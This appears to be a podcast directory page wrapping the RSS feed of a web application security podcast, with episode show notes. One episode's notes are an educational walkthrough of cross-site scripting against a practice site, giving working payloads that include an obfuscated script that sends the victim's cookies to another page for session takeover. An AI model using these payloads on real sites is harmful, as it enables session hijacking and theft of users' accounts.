<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="/required/styles/anjuna.xsl"?><site>
	<page>ViewPodcast</page>
	<title><![CDATA[View Podcast]]></title>
		
	<whereami><![CDATA[/ViewPodcast.php?id=610]]></whereami>
	<ads1>
	<ad>
		<type>banner</type>
		<title>banner</title>
		<image>http://podcastpickle.com/media/images/ads/pcp/727x90_DillDomains.jpg</image>
		<url>http://dilldomains.com</url>		
	</ad>
		
	</ads1>
	<ads2>
	<ad>
		<type>footer</type>
		<title>Podcast Inspector</title>
		<image>http://www.podcastpickle.com/media/images/727x90_PodcastInspectorBeta.gif</image>
		<url>http://podcastinspector.com</url>
	</ad>
		
	</ads2>
			<loggedIn>false</loggedIn>
		<data>
		<id>610</id>
		<owner>
			<name>seek3r</name>
			<avatar></avatar>
			<email>dan@kuykendall.org</email>
			<forumID>649</forumID>
		</owner>
		<imageURL><![CDATA[http://www.mightyseek.com/images/itunescover.jpg]]></imageURL>
		<itpc><![CDATA[itpc://www.mightyseek.com/category/podcasts/feed]]></itpc>
		<url><![CDATA[http://www.mightyseek.com/category/podcasts/feed]]></url>		
		<numFans>0</numFans>
		<rating></rating>
				<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>MightySeek &#187; Podcasts</title>
	<atom:link href="http://www.mightyseek.com/category/podcasts/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mightyseek.com</link>
	<description>Web Application Security Blog and Podcast</description>
	<lastBuildDate>Fri, 11 Dec 2009 07:26:57 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.9" -->
		<copyright>&#xA9;Dan Kuykendall </copyright>
		<itunes:new-feed-url>http://www.mightyseek.com/feed/podcast</itunes:new-feed-url>
		<managingEditor>dan@kuykendall.org (Dan Kuykendall)</managingEditor>
		<webMaster>dan@kuykendall.org(Dan Kuykendall)</webMaster>
		<category></category>
		<ttl>1440</ttl>
		<itunes:keywords></itunes:keywords>
		<itunes:subtitle>A podcast dedicated to Web Application Security</itunes:subtitle>
		<itunes:summary>A podcast about web application security, as well as general web application development issues. The primary focus is on security with an effort to explain things so that anyone can understand them since security issues affect everyone across an organization. Hopefully this show will be a resource for everyone involved in a software development project.</itunes:summary>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:category text="Technology">
  <itunes:category text="Tech News"/>
</itunes:category>
<itunes:category text="Education">
  <itunes:category text="Training"/>
</itunes:category>
<itunes:category text="Technology"/>
		<itunes:owner>
			<itunes:name>Dan Kuykendall</itunes:name>
			<itunes:email>dan@kuykendall.org</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://www.mightyseek.com/images/itunescover.jpg" />
		<image>
			<url>http://www.mightyseek.com/images/itunescover.jpg</url>
			<title>MightySeek</title>
			<link>http://www.mightyseek.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>An Information Security Place Podcast – Episode 28</title>
		<link>http://www.mightyseek.com/podcasts/an-information-security-place-podcast-%e2%80%93-episode-28</link>
		<comments>http://www.mightyseek.com/podcasts/an-information-security-place-podcast-%e2%80%93-episode-28#comments</comments>
		<pubDate>Fri, 11 Dec 2009 07:26:57 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Podcasts]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/?p=195</guid>
		<description><![CDATA[This was a wacky episode and I only was able to turn up toward the end due to some scheduling conflicts, but I think it turned out pretty good in the end.
]]></description>
			<content:encoded><![CDATA[<p>This was a wacky episode and I only was able to turn up toward the end due to some scheduling conflicts, but I think it turned out pretty good in the end.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/an-information-security-place-podcast-%e2%80%93-episode-28/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
			<enclosure url="http://www.jimsblog.org/podcast/AnInformationSecurityPlacePodcast-Episode28.mp3" length="73980032" type="audio/mpeg"/>
<itunes:duration>00:01:01</itunes:duration>
		<itunes:subtitle>This was a wacky episode and I only was able to turn up toward the end due to some scheduling conflicts, but I think it ...</itunes:subtitle>
		<itunes:summary>This was a wacky episode and I only was able to turn up toward the end due to some scheduling conflicts, but I think it turned out pretty good in the end.</itunes:summary>
		<itunes:keywords>Podcasts</itunes:keywords>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>An Information Security Place Podcast – Episode 23</title>
		<link>http://www.mightyseek.com/podcasts/an-information-security-place-podcast-%e2%80%93-episode-23</link>
		<comments>http://www.mightyseek.com/podcasts/an-information-security-place-podcast-%e2%80%93-episode-23#comments</comments>
		<pubDate>Thu, 20 Aug 2009 17:02:13 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Web App Sec]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/?p=185</guid>
		<description><![CDATA[I returned as a guest host&#8230; looks like I may become a regular part of the cast. I promise I wont keep cross posting these forever, but doing it again since we talked about a blog post I had written yesterday.
Full show notes can be found at The Information Security Place site
]]></description>
			<content:encoded><![CDATA[<p>I returned as a guest host&#8230; looks like I may become a regular part of the cast. I promise I wont keep cross posting these forever, but doing it again since we talked about a blog post I had written yesterday.</p>
<p>Full show notes can be found at <a href="http://infosecplace.com/blog/2009/08/20/an-information-security-place-podcast-episode-23/">The Information Security Place</a> site</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/an-information-security-place-podcast-%e2%80%93-episode-23/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
			<enclosure url="http://www.infosecplace.com/blog/Podcasts/AnInformationSecurityPlacePodcast-Episode23.mp3" length="80464000" type="audio/mpeg"/>
<itunes:duration>67:21</itunes:duration>
		<itunes:subtitle>I returned as a guest host... looks like I may become a regular part of the cast. I promise I wont keep cross posting these ...</itunes:subtitle>
		<itunes:summary>I returned as a guest host... looks like I may become a regular part of the cast. I promise I wont keep cross posting these forever, but doing it again since we talked about a blog post I had written yesterday.

Full show notes can be found at The Information Security Place site</itunes:summary>
		<itunes:keywords>Podcasts,,Web,App,Sec</itunes:keywords>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>MightySeek on InfoSecPlace Podcast</title>
		<link>http://www.mightyseek.com/podcasts/mightyseek-on-infosecplace-podcast</link>
		<comments>http://www.mightyseek.com/podcasts/mightyseek-on-infosecplace-podcast#comments</comments>
		<pubDate>Tue, 18 Aug 2009 09:04:06 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Podcasts]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/?p=156</guid>
		<description><![CDATA[The MightySeek Podcast is returning.
I am starting an effort to have a show posted every 2 weeks, with hopes for a Hands On Series every 2 months.
I will also be joining the An Information Security Place podcast as well. They do a podcast about general information security and I will be the resident webappsec expert [...]]]></description>
			<content:encoded><![CDATA[<p>The MightySeek Podcast is returning.</p>
<p>I am starting an effort to have a show posted every 2 weeks, with hopes for a Hands On Series every 2 months.</p>
<p>I will also be joining the <a href="http://infosecplace.com/blog/">An Information Security Place</a> podcast as well. They do a podcast about general information security and I will be the resident webappsec expert to comment on those topics. This post is going to link to that episode 22 of the An Information Security Place podcast. I will not be normally doing this, but am doing it this week to get things rolling.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/mightyseek-on-infosecplace-podcast/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
			<enclosure url="http://www.infosecplace.com/blog/Podcasts/AnInformationSecurityPlacePodcast-Episode22.mp3" length="101949153" type="audio/mpeg"/>
<itunes:duration>00:01:01</itunes:duration>
		<itunes:subtitle>The MightySeek Podcast is returning.

I am starting an effort to have a show posted every 2 weeks, with hopes for a Hands On Series every ...</itunes:subtitle>
		<itunes:summary>The MightySeek Podcast is returning.

I am starting an effort to have a show posted every 2 weeks, with hopes for a Hands On Series every 2 months.

I will also be joining the An Information Security Place podcast as well. They do a podcast about general information security and I will be the resident webappsec expert to comment on those topics. This post is going to link to that episode 22 of the An Information Security Place podcast. I will not be normally doing this, but am doing it this week to get things rolling.</itunes:summary>
		<itunes:keywords>Podcasts</itunes:keywords>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>SQL Injection mention on hype-free</title>
		<link>http://www.mightyseek.com/podcasts/sql-injection-mention-on-hype-free</link>
		<comments>http://www.mightyseek.com/podcasts/sql-injection-mention-on-hype-free#comments</comments>
		<pubDate>Fri, 27 Apr 2007 07:35:42 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Web App Sec]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/podcasts/sql-injection-mention-on-hype-free</guid>
		<description><![CDATA[Every once in awhile I try and find out if anyone is noticing my podcast. Well I stumbled on a mention of the SQL Injection hands on episode on hype-free.
]]></description>
			<content:encoded><![CDATA[<p>Every once in awhile I try and find out if anyone is noticing my podcast. Well I stumbled on a <a href="http://hype-free.blogspot.com/2007/04/sql-injections-what-they-are-and-how-to.html">mention of the SQL Injection hands on</a> episode on hype-free.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/sql-injection-mention-on-hype-free/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MightySeek Interviews rsnake</title>
		<link>http://www.mightyseek.com/podcasts/mightyseek-interviews-rsnake</link>
		<comments>http://www.mightyseek.com/podcasts/mightyseek-interviews-rsnake#comments</comments>
		<pubDate>Thu, 19 Apr 2007 07:45:27 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Web App Sec]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/podcasts/mightyseek-interviews-rsnake</guid>
		<description><![CDATA[Today I had the pleasure of meeting up with a celeb of the web app sec world&#8230;. rsnake of the ha.ckers.org website. I hope you enjoy the interview, but I made a huge mistake with the recording. Here I was with my first interview, I hook up my mic and load up the recording software [...]]]></description>
			<content:encoded><![CDATA[<p>Today I had the pleasure of meeting up with a celeb of the web app sec world&#8230;. rsnake of the <a href="http://ha.ckers.org/" target="_blank">ha.ckers.org</a> website. I hope you enjoy the interview, but I made a huge mistake with the recording. Here I was with my first interview, I hook up my mic and load up the recording software and then completely forget to switch to the mic input to my good mic, and end up doing the recording on the lame mic thats built into my laptop.</p>
<p>In any case, here ya go.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/mightyseek-interviews-rsnake/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
			<enclosure url="http://www.mightyseek.com/audio/MightySeek-18-2007-04-18-rsnakeInterview.mp3" length="30225059" type="audio/mpeg"/>
<itunes:duration>41:57</itunes:duration>
		<itunes:subtitle>Today I had the pleasure of meeting up with a celeb of the web app sec world.... rsnake of the ha.ckers.org website. I hope you ...</itunes:subtitle>
		<itunes:summary>Today I had the pleasure of meeting up with a celeb of the web app sec world.... rsnake of the ha.ckers.org website. I hope you enjoy the interview, but I made a huge mistake with the recording. Here I was with my first interview, I hook up my mic and load up the recording software and then completely forget to switch to the mic input to my good mic, and end up doing the recording on the lame mic thats built into my laptop.

In any case, here ya go.</itunes:summary>
		<itunes:keywords>Podcasts,,Web,App,Sec</itunes:keywords>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>PHP Security and the Month of PHP Bugs</title>
		<link>http://www.mightyseek.com/podcasts/php-security-and-the-month-of-php-bugs</link>
		<comments>http://www.mightyseek.com/podcasts/php-security-and-the-month-of-php-bugs#comments</comments>
		<pubDate>Sat, 10 Mar 2007 01:20:01 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Web App Sec]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/podcasts/php-security-and-the-month-of-php-bugs</guid>
		<description><![CDATA[In this episode is discuss PHP security. Up till this point I have talked about web app sec in general, but I break from this in honor of the Month Of PHP Bugs that is going on through March.
PHP has frequently been blamed for security problems in applications written in PHP which really is no [...]]]></description>
			<content:encoded><![CDATA[<p>In this episode is discuss PHP security. Up till this point I have talked about web app sec in general, but I break from this in honor of the <a href="http://www.php-security.org/" target="_blank">Month Of PHP Bugs</a> that is going on through March.</p>
<p>PHP has frequently been blamed for security problems in applications written in PHP which really is no fault of the language and engine itself.  It would be like everyone blaming C and C++ as being insecure, and the cause of tons of security problems. Most of the time the problem is the developers who use the languages, not the languages themselves. However, there are security problems in the PHP codebase which need to be fixed and is what is being highlighted by the <a href="http://www.php-security.org/" target="_blank">Month Of PHP Bugs</a>.</p>
<p>So in this episode I discuss these issues, some of my past projects and some various other issues in PHP&#8230;  Its so good to be back at the mic, even tho I am still recovering from the flu and had my voice start failing me at the end.<br />
Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/php-security-and-the-month-of-php-bugs/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
			<enclosure url="http://www.mightyseek.com/audio/MightySeek-17-2007-03-09-MonthOfPHPBugs.mp3" length="47224361" type="audio/mpeg"/>
<itunes:duration>65:34</itunes:duration>
		<itunes:subtitle>In this episode is discuss PHP security. Up till this point I have talked about web app sec in general, but I break from this ...</itunes:subtitle>
		<itunes:summary>In this episode is discuss PHP security. Up till this point I have talked about web app sec in general, but I break from this in honor of the Month Of PHP Bugs that is going on through March.
PHP has frequently been blamed for security problems in applications written in PHP which really is no fault of the language and engine itself.  It would be like everyone blaming C and C++ as being insecure, and the cause of tons of security problems. Most of the time the problem is the developers who use the languages, not the languages themselves. However, there are security problems in the PHP codebase which need to be fixed and is what is being highlighted by the Month Of PHP Bugs.
So in this episode I discuss these issues, some of my past projects and some various other issues in PHP...  Its so good to be back at the mic, even tho I am still recovering from the flu and had my voice start failing me at the end.
Enjoy!
</itunes:summary>
		<itunes:keywords>Podcasts,,Web,App,Sec</itunes:keywords>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>Hands On Series &#8211; Cross Site Scripting (XSS) Part 1</title>
		<link>http://www.mightyseek.com/podcasts/hands-on-series/hands-on-series-cross-site-scripting-xss-part-1</link>
		<comments>http://www.mightyseek.com/podcasts/hands-on-series/hands-on-series-cross-site-scripting-xss-part-1#comments</comments>
		<pubDate>Mon, 28 Aug 2006 03:57:40 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Hands On Series]]></category>
		<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Web App Sec]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/podcasts/hands-on-series-cross-site-scripting-xss-part-1</guid>
		<description><![CDATA[The “Hands on Series” continues!

In this episode we start dealing with Cross Site Scripting (XSS) attacks.
CSS = Cascading Style Sheets
XSS = Cross Site Scripting
Cross Site Scripting is a technique used to add script to a trusted site that will be executed on other users browsers.
A key element to XSS is that one user can submit [...]]]></description>
			<content:encoded><![CDATA[<p>The “Hands on Series” continues!<br />
<br />
In this episode we start dealing with Cross Site Scripting (XSS) attacks.</p>
<p>CSS = Cascading Style Sheets<br />
XSS = Cross Site Scripting</p>
<p>Cross Site Scripting is a technique used to add script to a trusted site that will be executed on other users browsers.<br />
A key element to XSS is that one user can submit data to a website that will later be displayed for other users.<br />
It is nessesary that the bad guy NOT mess up the HTML structure, otherwise the result will be web defacement rather then attacking other users.</p>
<p>The <a href="http://hackme.ntobjectives.com/" target="_new"><strong>hackme site</strong></a> has been updated and improved (more about that in a moment)</p>
<p>and now includes a section for XSS which we will be using in this episode.<br />
<a id="more-59"></a><br />
<span id="more-14"></span><br />
As usual, for the “Hands on Series” I recommend that you listen to these episodes while viewing the hacking test site and<br />
have the show notes visible and ready to cut and paste from.</p>
<p>If we look at the source for the page we will see this:</p>
<p>Lets start by trying to somehow add an attribute so that when someone mouses over the name, the javascript will be executed.</p>
<p><em><strong>Attack #1 &#8211; Against Email Address</strong></em></p>
<p><em>Attack 1: Original</em></p>
<p>&lt;a href=&#8221;mailto:<span style="background-color: #b3ec8e;">john@somedomain.com</span>&#8220;&gt;John Doe&lt;/a&gt;</p>
<p><em>Attack 1: Desired addition</em><br />
<span style="background-color: yellow;">onmouseover=&#8221;alert(&#8217;Hacked&#8217;);&#8221;</span></p>
<p><em>Attack 1: Desired Result</em><br />
&lt;a href=&#8221;mailto:bob@bob.com&#8221; <span style="background-color: yellow;">onmouseover=&#8221;alert(&#8217;Hacked&#8217;);&#8221;</span>&gt;Bob Smith&lt;/a&gt;</p>
<p><em>Attack 1: Attack String</em><br />
<span style="background-color: #ffcc66;">bob@bob.com&#8221; </span><span style="background-color: yellow;">onmouseover=&#8221;alert(&#8217;Hacked&#8217;);</span></p>
<p><em>Attack 1: Actual Result</em><br />
&lt;a href=&#8221;mailto:<span style="background-color: #ffcc66;">bob@bob.com&#8221; </span><span style="background-color: yellow;">onmouseover=&#8221;alert(&#8217;Hacked&#8217;);&#8221;</span>&gt;Bob Smith&lt;/a&gt;</p>
<p>Sucess! Mouse over the Name you entered and you see a popup that says “I hacked you”.<br />
At this point we have proven that we can insert code onto the site and have it executed by a web browser!<br />
This attack is only executed based on a user event (the user mousing over the link)</p>
<p>Lets try creating a script tag, which will get executed while the page is loaded by the browser (so basically right away).</p>
<p><em><strong>Attack #2 &#8211; Against Email Address</strong></em></p>
<p><em>Attack 2: Original</em><br />
&lt;a href=&#8221;mailto:<span style="background-color: #b3ec8e;">john@somedomain.com</span>&#8220;&gt;John Doe&lt;/a&gt;</p>
<p><em>Attack 2: Desired addition</em><br />
<span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span></p>
<p><em>Attack 2: Desired Result</em><br />
&lt;a href=&#8221;mailto:bob@bob.com&#8221;&gt;<span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span>&lt;&#8221;&gt;Bob Smith&lt;/a&gt;</p>
<p><em>Attack 2: Attack String</em><br />
<span style="background-color: #ffcc66;">bob@bob.com&#8221;&gt;</span><span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span><span style="background-color: #ffcc66;">&lt;&#8221;</span></p>
<p><em>Attack 2: Actual Result</em><br />
&lt;a href=&#8221;mailto:<span style="background-color: #ffcc66;">bob@bob.com&#8221;&amp;gt;</span><span style="background-color: yellow;">&amp;lt;script&amp;gt;alert(&#8217;Hacked&#8217;);&amp;lt;/script&amp;gt;</span><span style="background-color: #ffcc66;">&amp;lt;&#8221;</span>&#8220;&gt;Bob Smith&lt;/a&gt;</p>
<p>Failure! No popup takes place.<br />
Notice the Actual Result does not match the Desired Result.<br />
This is because of htmlentities as mentioned in the helper notes.</p>
<p><em><strong>Attack #3 &#8211; Against Title</strong></em></p>
<p><em>Attack 3: Original</em><br />
&lt;td&gt;<span style="background-color: #b3ec8e;">Works Great</span>&lt;/td&gt;</p>
<p><em>Attack 3: Desired addition</em><br />
<span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span></p>
<p><em>Attack 3: Desired Result</em><br />
&lt;td&gt;<span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span>&lt;/td&gt;</p>
<p><em>Attack 3: Attack String</em><br />
<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(&#8217;Hacked&#8217;);&lt;/script&gt;</span></p>
<p><em>Attack 3: Actual Result</em><br />
&lt;td&gt;<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(&amp;#39;Hacked&amp;#39;);&lt;/script&gt;</span>&lt;/td&gt;</p>
<p>Failure! No popup takes place.<br />
This almost worked, except that the single and double quotes get escaped, so lets try making something that doesnt need quotes.</p>
<p><em><strong>Attack #4 &#8211; Against Title</strong></em></p>
<p>In the alert function lets use the global variable document.domain in the attack string.</p>
<p><em>Attack 4: Attack String</em><br />
<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(document.domain);&lt;/script&gt;</span></p>
<p><em>Attack 4: Actual Result</em><br />
&lt;td&gt;<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(document.domain);&lt;/script&gt;</span>&lt;/td&gt;</p>
<p>Success! A popup should appear that says hackme.ntobjectives.com</p>
<p>Maybe this isnt convincing enough… lets try cookies.</p>
<p><em><strong>Attack #5 &#8211; Against Title</strong></em></p>
<p><em>Attack 5: Attack String</em><br />
<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(document.cookie);&lt;/script&gt;</span></p>
<p><em>Attack 5: Actual Result</em></p>
<p>&lt;td&gt;<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;alert(document.cookie);&lt;/script&gt;</span>&lt;/td&gt;</p>
<p>Success! A popup should appear that shows all your cookie data.<br />
Theres nothing stopping the hacker from having the user send this data to their server.</p>
<p>I have setup a page for displaying inputs sent to it, but it makes sure to escape characters to make sure this isnt an attack point.</p>
<p>http://hackme.ntobjectives.com/xss/bin.php</p>
<p>Try it now</p>
<p><a href="http://hackme.ntobjectives.com/xss/bin.php?abc=123" target="_new">http://hackme.ntobjectives.com/xss/bin.php?abc=123</a><br />
You should be shown that abc=123<br />
This page will display anything you put in the GET params.</p>
<p>I want to push your cookie data over to my site, so that I can attempt a session take over.</p>
<p><em><strong>Attack #6 &#8211; Against Title</strong></em></p>
<p><em>Attack 6: Original</em><br />
&lt;td&gt;<span style="background-color: #b3ec8e;">Works Great</span>&lt;/td&gt;</p>
<p><em>Attack 6: Desired addition</em></p>
<p><span style="background-color: yellow;">&lt;script&gt;window.location=&#8217;http://hackme.ntobjectives.com/xss/bin.php?var=&#8217;+document.cookie;&lt;/script&gt;</span></p>
<p>We have already established that I cannot insert those single quotes that I need around the URL, so we need to enter into a little more advanced methods.<br />
Using the javascript function String.fromCharCode allows me to get around needing quotes by turning each decimal value into its character, and it doesnt require any quotes.</p>
<p>So we just convert our desired string into decimal first</p>
<p>This:<br />
http://hackme.ntobjectives.com/xss/bin.php?var=</p>
<p>becomes:</p>
<p>104,116,116,112,58,47,47,104,97,99,107,109,101,46,109,105,103,104,116,121,115,101,101,107,46, 99,111,109,47,120,115,115,47,98,105,110,46,112,104,112,63,118,97,114,61</p>
<p>and the attack string becomes</p>
<p><em>Attack 6: Attack String</em><br />
<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;window.location=String.fromCharCode(104,116,116,112,58,47,47,104,97,99,107,109,101, 46,109,105,103,104,116,121,115,101,101,107,46,99,111,109,47,120,115,115,47,98, 105,110,46,112,104,112,63,118,97,114,61)+document.cookie;&lt;/script&gt;</span></p>
<p><em>Attack 6: Actual Result</em><br />
&lt;td&gt;<span style="background-color: #ffcc66;">Works Great</span><span style="background-color: yellow;">&lt;script&gt;window.location=String.fromCharCode(104,116,116,112,58,47,47,104,97,99,107,109,101, 46,109,105,103,104,116,121,115,101,101,107,46,99,111,109,47,120,115,115,47,98, 105,110,46,112,104,112,63,118,97,114,61)+document.cookie;&lt;/script&gt;</span>&lt;/td&gt;</p>
<p>Success! Your browser should be sitting on http://hackme.ntobjectives.com/xss/bin.php and showing you all the data from your cookies.<br />
If this were an attackers site, it would just collect the info and pass you back to the page you came from, and its unlikely you would have ever noticed that your session information had been stolen</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/hands-on-series/hands-on-series-cross-site-scripting-xss-part-1/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
			<enclosure url="http://www.mightyseek.com/audio/MightySeek-16-2006-07-28-HandOnSeriesXSS.mp3" length="27508399" type="audio/mpeg"/>
<itunes:duration>38:10</itunes:duration>
		<itunes:subtitle>The ldquo;Hands on Seriesrdquo; continues!

In this episode we start dealing with Cross Site Scripting (XSS) attacks.

CSS = Cascading Style Sheets
XSS = Cross Site Scripting

Cross Site ...</itunes:subtitle>
		<itunes:summary>The ldquo;Hands on Seriesrdquo; continues!

In this episode we start dealing with Cross Site Scripting (XSS) attacks.

CSS = Cascading Style Sheets
XSS = Cross Site Scripting

Cross Site Scripting is a technique used to add script to a trusted site that will be executed on other users browsers.
A key element to XSS is that one user can submit data to a website that will later be displayed for other users.
It is nessesary that the bad guy NOT mess up the HTML structure, otherwise the result will be web defacement rather then attacking other users.

The hackme site has been updated and improved (more about that in a moment)

and now includes a section for XSS which we will be using in this episode.


As usual, for the ldquo;Hands on Seriesrdquo; I recommend that you listen to these episodes while viewing the hacking test site and
have the show notes visible and ready to cut and paste from.

If we look at the source for the page we will see this:

Lets start by trying to somehow add an attribute so that when someone mouses over the name, the javascript will be executed.

Attack #1 - Against Email Address

Attack 1: Original

#60;a href="mailto:john@somedomain.com"#62;John Doe#60;/a#62;

Attack 1: Desired addition
onmouseover="alert(&#8217;Hacked&#8217;);"

Attack 1: Desired Result
#60;a href="mailto:bob@bob.com" onmouseover="alert(&#8217;Hacked&#8217;);"#62;Bob Smith#60;/a#62;

Attack 1: Attack String
bob@bob.com" onmouseover="alert(&#8217;Hacked&#8217;);

Attack 1: Actual Result
#60;a href="mailto:bob@bob.com" onmouseover="alert(&#8217;Hacked&#8217;);"#62;Bob Smith#60;/a#62;

Sucess! Mouse over the Name you entered and you see a popup that says ldquo;I hacked yourdquo;.
At this point we have proven that we can insert code onto the site and have it executed by a web browser!
This attack is only executed based on a user event (the user mousing over the link)

Lets try creating a script tag, which will get executed while the page is loaded by the browser (so basically right away).

Attack #2 - Against Email Address

Attack 2: Original
#60;a href="mailto:john@somedomain.com"#62;John Doe#60;/a#62;

Attack 2: Desired addition
#60;script#62;alert(&#8217;Hacked&#8217;);#60;/script#62;

Attack 2: Desired Result
#60;a href="mailto:bob@bob.com"#62;#60;script#62;alert(&#8217;Hacked&#8217;);#60;/script#62;#60;"#62;Bob Smith#60;/a#62;

Attack 2: Attack String
bob@bob.com"#62;#60;script#62;alert(&#8217;Hacked&#8217;);#60;/script#62;#60;"

Attack 2: Actual Result
#60;a href="mailto:bob@bob.com"#38;gt;#38;lt;script#38;gt;alert(&#8217;Hacked&#8217;);#38;lt;/script#38;gt;#38;lt;""#62;Bob Smith#60;/a#62;

Failure! No popup takes place.
Notice the Actual Result does not match the Desired Result.
This is because of htmlentities as mentioned in the helper notes.

Attack #3 - Against Title

Attack 3: Original
#60;td#62;Works Great#60;/td#62;

Attack 3: Desired addition
#60;script#62;alert(&#8217;Hacked&#8217;);#60;/script#62;

Attack 3: Desired Result
#60;td#62;#60;script#62;alert(&#8217;Hacked&#8217;);#60;/script#62;#60;/td#62;

Attack 3: Attack String
Works Great#60;script#62;alert(&#8217;Hacked&#8217;);#60;/script#62;

Attack 3: Actual Result
#60;td#62;Works Great#60;script#62;alert(#38;#39;Hacked#38;#39;);#60;/script#62;#60;/td#62;

Failure! No popup takes place.
This almost worked, except that the single and double quotes get escaped, so lets try making something that doesnt need quotes.

Attack #4 - Against Title

In the alert function lets use the global variable document.domain in the attack string.

Attack 4: Attack String
Works Great#60;script#62;alert(document.domain);#60;/script#62;

Attack 4: Actual Result
#60;td#62;Works Great#60;script#62;alert(document.domain);#60;/script#62;#60;/td#62;

Success! A popup should appear that says hackme.ntobjectives.com

Maybe this isnt convincing enoughhellip; lets try cookies.

Attack #5 - Against Title

Attack 5: Attack String
Works Great#60;script#62;alert(docu</itunes:summary>
		<itunes:keywords>Hands,On,Series,,Podcasts,,Web,App,Sec</itunes:keywords>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>Mighty Seek Podcast #15 &#8211; News and Misc Topics</title>
		<link>http://www.mightyseek.com/podcasts/mighty-seek-podcast-15-news-and-misc-topics</link>
		<comments>http://www.mightyseek.com/podcasts/mighty-seek-podcast-15-news-and-misc-topics#comments</comments>
		<pubDate>Fri, 26 May 2006 22:41:15 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Web App Sec]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/2006/05/26/mighty-seek-podcast-15-news-and-misc-topics/</guid>
		<description><![CDATA[A quick in between to the Hands On Series, I chat about some news and issues of the day.
Turkish Hacker defaces 38,000 websites hosted on GoDaddy
Flawed USC admissions site allowed access to applicant data
Breach case could curtail Web flaw finders
